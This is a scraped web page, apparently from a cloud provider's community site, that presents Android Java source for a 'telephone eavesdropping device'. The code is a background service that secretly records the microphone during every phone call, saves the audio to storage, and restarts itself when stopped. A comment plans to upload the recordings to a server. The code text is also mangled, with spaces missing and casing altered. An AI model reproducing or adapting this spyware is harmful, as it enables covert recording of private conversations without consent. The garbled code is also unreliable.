Telephone Qie listening device

Source: Internet
Author: User

Business logic:

Make a recording of the phone when a call comes in or when the phone is called.

 Public classTelphoneylistenerserviceextendsService {Private Static FinalString TAG = "Telphoneylistenerservice"; Mediarecorder Mediarecorder=NULL; Telephonymanager TM=NULL; MyListener MyListener=NULL; @Override Publicibinder onbind (Intent Intent) {//Todo:return The communication channel to the service.        Throw NewUnsupportedoperationexception ("not yet implemented"); } @Override Public voidonCreate () {Super. OnCreate (); TM= (Telephonymanager) This. Getsystemservice (Context.telephony_service); MyListener=NewMyListener ();    Tm.listen (MyListener, phonestatelistener.listen_call_state); } @Override Public intOnstartcommand (Intent Intent,intFlagsintStartid) {Toast.maketext ( This, "Service started successfully", Toast.length_long). Show (); return Super. Onstartcommand (Intent, flags, Startid); } @Override Public voidOnDestroy () {Super. OnDestroy (); LOG.I (TAG,"Phone Listening service stopped"); Intent Intent=NewIntent ( This, TelphoneyListenerService1.class);        StartService (Intent);        Tm.listen (Mylistener,phonestatelistener.listen_none); MyListener=NULL; }    Private classMyListenerextendsPhonestatelistener {@Override Public voidOncallstatechanged (intState , String Incomingnumber) {            Try {                Switch(state) { CaseTelephonymanager.call_state_idle:if(Mediarecorder! =NULL) {mediarecorder.stop ();                            Mediarecorder.release (); Mediarecorder=NULL; LOG.I (TAG,"End of recording"); //Send audio files after recording to the server                        }                         Break;  Casetelephonymanager.call_state_ringing: Break;  CaseTelephonymanager.call_state_offhook://1. Turn on the recording functionLOG.I (TAG, "Start recording"); Mediarecorder=NewMediarecorder (); //2. Set the recording sourceMediarecorder.setaudiosource (MediaRecorder.AudioSource.MIC); //3. Set the output file formatMediarecorder.setoutputformat (MediaRecorder.OutputFormat.DEFAULT); //4. Set the output file nameFile File =NewFile (Environment.getexternalstoragedirectory (), System.currenttimemillis () + ". 3gp");                        Mediarecorder.setoutputfile (File.getabsolutepath ()); //5. Set the encoding formatMediarecorder.setaudioencoder (MediaRecorder.AudioEncoder.DEFAULT); //6. PreparationMediarecorder.prepare (); //7. StartMediarecorder.start ();  Break; }            } Catch(Exception e) {e.printstacktrace (); }        }    }}

Telephone Qie listening device

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.